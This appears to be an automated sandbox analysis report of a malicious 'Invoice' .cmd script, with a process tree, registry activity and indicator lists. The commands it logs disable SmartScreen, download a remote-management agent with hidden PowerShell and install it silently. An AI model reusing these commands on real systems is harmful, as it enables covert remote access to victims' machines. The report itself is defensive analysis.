000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000420000002a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004c000000ae0000004200000000000000000000001000000075000000c3000000cb000000cb000000cb000000cb000000cb000000cb000000cb000000cb000000cb0000006a0000001e0000000000000005010101a5232323f28b8b8bf9c9c9c9fee3e3e3fee3e3e3fee3e3e3fee3e3e3fee0e0e0fea1a1a1fe080808f4131315624f4f5aad060609d9000000180000007a1f1f1ff5989898f3dbdbdbfce3e3e3fee3e3e3fee3e3e3fee3e3e3fedfdfdffe9c9c9cfe1b1b1bda1c1c1c66969696a8d6d6d6fa535353f2000000b9000000ec5b5b5bf6999999f7adadadfcb3b3b3edd9d9d9fee3e3e3fee3e3e3fe9f9f9ffe1d1d1dd8292929749f9f9fb7cdcdcdf9b7b7b7f6848484f6000000f7000000ff7b7b7bfe979797fe979797fe979797fa9d9d9df9adadadf09a9a9afb0f0f0feb2121216b989898bab0b0b0ecb1b1b1fcb0b0b0fd888888fe000000fe000000f86c6c6cfb979797fe979797fe979797fe949494fe6a6a6afe090909eb10101065858585b0aeaeaef6b0b0b0feafafaffea6a6a6fd3f3f3fee000000bb0000009c2f2f2ff28a8a8afc979797fe959595fe696969fe131313d81212126c565656ab898989f5959595f9a1a1a1fe767676f53d3d3df8040404c6000000250000001a060606be303030f46b6b6bfa656565fe121212da17171774585858ba7e7e7efe7e7e7efe7e7e7efe797979fe0e0e0ee6000000840000002b00000000000000000000001e00000099050505f4050505f410101066585858b77d7d7dfc7e7e7efe7e7e7efe7e7e7efe1f1f1fed000000b90000000c0000000000000000000000000000000300000049000000cb0000004e191919a15b5b5bfc686868f8686868f85f5f5ffb222222ee000000ca0000001e000000000000000000000000000000000000000900000067000000490000000500000072010101ae0e0e0ecd0e0e0ece020202b6000000830000001e000000000000000000000000000000000000000000000000000000090000000300000000000000040000001900000030000000310000001f000000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000420000002a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004c000000ae0000004200000000000000000000001000000075000000c3000000cb000000cb000000cb000000cb000000cb000000cb000000cb000000cb000000cb0000006a0000001e0000000000000005010101a5232323f28b8b8bf9c9c9c9fee3e3e3fee3e3e3fee3e3e3fee3e3e3fee0e0e0fea1a1a1fe080808f4131315624f4f5aad060609d9000000180000007a1f1f1ff5989898f3dbdbdbfce3e3e3fee3e3e3fee3e3e3fee3e3e3fedfdfdffe9c9c9cfe1b1b1bda1c1c1c66969696a8d6d6d6fa535353f2000000b9000000ec5b5b5bf6999999f7adadadfcb3b3b3edd9d9d9fee3e3e3fee3e3e3fe9f9f9ffe1d1d1dd8292929749f9f9fb7cdcdcdf9b7b7b7f6848484f6000000f7000000ff7b7b7bfe979797fe979797fe979797fa9d9d9df9adadadf09a9a9afb0f0f0feb2121216b989898bab0b0b0ecb1b1b1fcb0b0b0fd888888fe000000fe000000f86c6c6cfb979797fe979797fe979797fe949494fe6a6a6afe090909eb10101065858585b0aeaeaef6b0b0b0feafafaffea6a6a6fd3f3f3fee000000bb0000009c2f2f2ff28a8a8afc979797fe959595fe696969fe131313d81212126c565656ab898989f5959595f9a1a1a1fe767676f53d3d3df8040404c6000000250000001a060606be303030f46b6b6bfa656565fe121212da17171774585858ba7e7e7efe7e7e7efe7e7e7efe797979fe0e0e0ee6000000840000002b00000000000000000000001e00000099050505f4050505f410101066585858b77d7d7dfc7e7e7efe7e7e7efe7e7e7efe1f1f1fed000000b90000000c0000000000000000000000000000000300000049000000cb0000004e191919a15b5b5bfc686868f8686868f85f5f5ffb222222ee000000ca0000001e000000000000000000000000000000000000000900000067000000490000000500000072010101ae0e0e0ecd0e0e0ece020202b6000000830000001e000000000000000000000000000000000000000000000000000000090000000300000000000000040000001900000030000000310000001f00000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000424d3e000000000000003e0000002800000010000000400000000100010000000000000100000000000000000000000000000000000000000000ffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffff0000fff90000fff10000c001000080000000000000000000000000000000000000000000000080010000c0030000c0070000c80f0000ffff0000ffff0000ffff0000fff90000fff10000c001000080000000000000000000000000000000000000000000000080010000c0030000c0070000c80f0000ffff0000ffff000000000000000000000000000000000000000000000000010000000800000002000000040000002400000001000000000000000100000000000000 explorer.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Disallowed SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Disallowed\Certificates SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Root\CRLs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Root SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "7790" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.MicrosoftStickyNotes_8wekyb3d8 explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchHost.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2376 powershell.exe 2376 powershell.exe 6084 explorer.exe 6084 explorer.exe 3532 powershell.exe 3532 powershell.exe 3224 msiexec.exe 3224 msiexec.exe 3896 powershell.exe 3896 powershell.exe 812 powershell.exe 812 powershell.exe 4764 powershell.exe 4764 powershell.exe 5264 powershell.exe 5264 powershell.exe 3976 powershell.exe 3976 powershell.exe 3976 powershell.exe 3976 powershell.exe 3976 powershell.exe 5872 powershell.exe 5872 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 820 powershell.exe 820 powershell.exe 124 powershell.exe 124 powershell.exe 4856 powershell.exe 4856 powershell.exe 6136 powershell.exe 6136 powershell.exe 1696 powershell.exe 1696 powershell.exe 4896 powershell.exe 4896 powershell.exe 5544 powershell.exe 5544 powershell.exe 4316 powershell.exe 4316 powershell.exe 748 powershell.exe 748 powershell.exe 2584 powershell.exe 2584 powershell.exe 2584 powershell.exe 3972 action1_agent.exe 3972 action1_agent.exe 3756 powershell.exe 3756 powershell.exe 580 powershell.exe 580 powershell.exe 5388 powershell.exe 5388 powershell.exe 5888 powershell.exe 5888 powershell.exe 2044 powershell.exe 2044 powershell.exe 2044 powershell.exe 2044 powershell.exe 2044 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 6084 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4416 taskkill.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeDebugPrivilege 2376 powershell.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeShutdownPrivilege 6084 explorer.exe Token: SeCreatePagefilePrivilege 6084 explorer.exe Token: SeDebugPrivilege 3532 powershell.exe Token: SeShutdownPrivilege 3492 msiexec.exe Token: SeIncreaseQuotaPrivilege 3492 msiexec.exe Token: SeSecurityPrivilege 3224 msiexec.exe Token: SeCreateTokenPrivilege 3492 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3492 msiexec.exe Token: SeLockMemoryPrivilege 3492 msiexec.exe Token: SeIncreaseQuotaPrivilege 3492 msiexec.exe Token: SeMachineAccountPrivilege 3492 msiexec.exe Token: SeTcbPrivilege 3492 msiexec.exe Token: SeSecurityPrivilege 3492 msiexec.exe Token: SeTakeOwnershipPrivilege 3492 msiexec.exe Token: SeLoadDriverPrivilege 3492 msiexec.exe Token: SeSystemProfilePrivilege 3492 msiexec.exe Token: SeSystemtimePrivilege 3492 msiexec.exe Token: SeProfSingleProcessPrivilege 3492 msiexec.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe 6084 explorer.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 6084 explorer.exe 1732 SearchHost.exe 4260 StartMenuExperienceHost.exe 6084 explorer.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4324 wrote to memory of 4992 4324 cmd.exe 80 PID 4992 wrote to memory of 2908 4992 net.exe 81 PID 4324 wrote to memory of 2928 4324 cmd.exe 82 PID 4324 wrote to memory of 4416 4324 cmd.exe 83 PID 4324 wrote to memory of 6084 4324 cmd.exe 85 PID 4324 wrote to memory of 2376 4324 cmd.exe 86 PID 4324 wrote to memory of 3532 4324 cmd.exe 94 PID 4324 wrote to memory of 3492 4324 cmd.exe 95 PID 3224 wrote to memory of 4084 3224 msiexec.exe 97 PID 3224 wrote to memory of 5912 3224 msiexec.exe 98 PID 3972 wrote to memory of 3896 3972 action1_agent.exe 100 PID 3972 wrote to memory of 812 3972 action1_agent.exe 102 PID 812 wrote to memory of 3688 812 powershell.exe 106 PID 3972 wrote to memory of 4764 3972 action1_agent.exe 107 PID 3972 wrote to memory of 5264 3972 action1_agent.exe 110 PID 5264 wrote to memory of 5516 5264 powershell.exe 112 PID 3972 wrote to memory of 3976 3972 action1_agent.exe 113 PID 3972 wrote to memory of 5872 3972 action1_agent.exe 115 PID 5872 wrote to memory of 4320 5872 powershell.exe 117 PID 3972 wrote to memory of 4568 3972 action1_agent.exe 118 PID 3972 wrote to memory of 820 3972 action1_agent.exe 120 PID 3972 wrote to memory of 124 3972 action1_agent.exe 122 PID 3972 wrote to memory of 4856 3972 action1_agent.exe 124 PID 3972 wrote to memory of 6136 3972 action1_agent.exe 126 PID 3972 wrote to memory of 1696 3972 action1_agent.exe 150 PID 3972 wrote to memory of 4896 3972 action1_agent.exe 130 PID 3972 wrote to memory of 5544 3972 action1_agent.exe 132 PID 3972 wrote to memory of 4316 3972 action1_agent.exe 134 PID 3972 wrote to memory of 748 3972 action1_agent.exe 136 PID 3972 wrote to memory of 2584 3972 action1_agent.exe 138 PID 3972 wrote to memory of 3756 3972 action1_agent.exe 140 PID 3972 wrote to memory of 580 3972 action1_agent.exe 142 PID 3972 wrote to memory of 5388 3972 action1_agent.exe 144 PID 3972 wrote to memory of 5888 3972 action1_agent.exe 146 PID 3972 wrote to memory of 2044 3972 action1_agent.exe 148 PID 2044 wrote to memory of 1696 2044 powershell.exe 150 PID 2044 wrote to memory of 3192 2044 powershell.exe 151 PID 2044 wrote to memory of 5528 2044 powershell.exe 152 PID 2044 wrote to memory of 3628 2044 powershell.exe 153 PID 2044 wrote to memory of 3524 2044 powershell.exe 154 PID 2044 wrote to memory of 2264 2044 powershell.exe 155 PID 2044 wrote to memory of 6056 2044 powershell.exe 156 PID 2044 wrote to memory of 4388 2044 powershell.exe 157 PID 2044 wrote to memory of 3640 2044 powershell.exe 158 PID 2044 wrote to memory of 3788 2044 powershell.exe 159 PID 2044 wrote to memory of 3196 2044 powershell.exe 160 PID 2044 wrote to memory of 3464 2044 powershell.exe 161 PID 2044 wrote to memory of 1624 2044 powershell.exe 162 PID 2044 wrote to memory of 4648 2044 powershell.exe 163 PID 2044 wrote to memory of 4696 2044 powershell.exe 164 PID 2044 wrote to memory of 3864 2044 powershell.exe 165 PID 2044 wrote to memory of 4328 2044 powershell.exe 166 PID 2044 wrote to memory of 3320 2044 powershell.exe 167 PID 2044 wrote to memory of 3784 2044 powershell.exe 168 PID 2044 wrote to memory of 1256 2044 powershell.exe 169 PID 2044 wrote to memory of 4068 2044 powershell.exe 170 PID 2044 wrote to memory of 3868 2044 powershell.exe 171 PID 3972 wrote to memory of 4088 3972 action1_agent.exe 172 PID 3972 wrote to memory of 5704 3972 action1_agent.exe 174 PID 3972 wrote to memory of 2732 3972 action1_agent.exe 176 PID 3972 wrote to memory of 4428 3972 action1_agent.exe 178 PID 3972 wrote to memory of 2984 3972 action1_agent.exe 180 PID 3972 wrote to memory of 3140 3972 action1_agent.exe 182 PID 3972 wrote to memory of 2796 3972 action1_agent.exe 184 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Remittance\Invoice_02901.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:4992 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:2908
-
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f2⤵PID:2928
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im explorer.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4416
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:6084
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://app.action1.com/agent/9336d974-4afe-11f1-872f-e156ea9b9f48/Windows/agent(My_Organization).msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi' -UseBasicParsing"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2376
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3532
-
-
C:\Windows\system32\msiexec.exemsiexec /i "C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi" /qn /norestart2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3492
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1732
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4260
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3224 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1CDD92947FCCA529B5D1488616F01CC52⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4084
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding EC9B45449E36813FEE60F8E1CD32372A E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:5912
-
-
C:\Windows\Action1\action1_agent.exeC:\Windows\Action1\action1_agent.exe service1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3972 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3896
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3688
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4764
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5264 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5516
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3976
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5872 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4320
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4568
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:820
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:124
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:4856
-
-
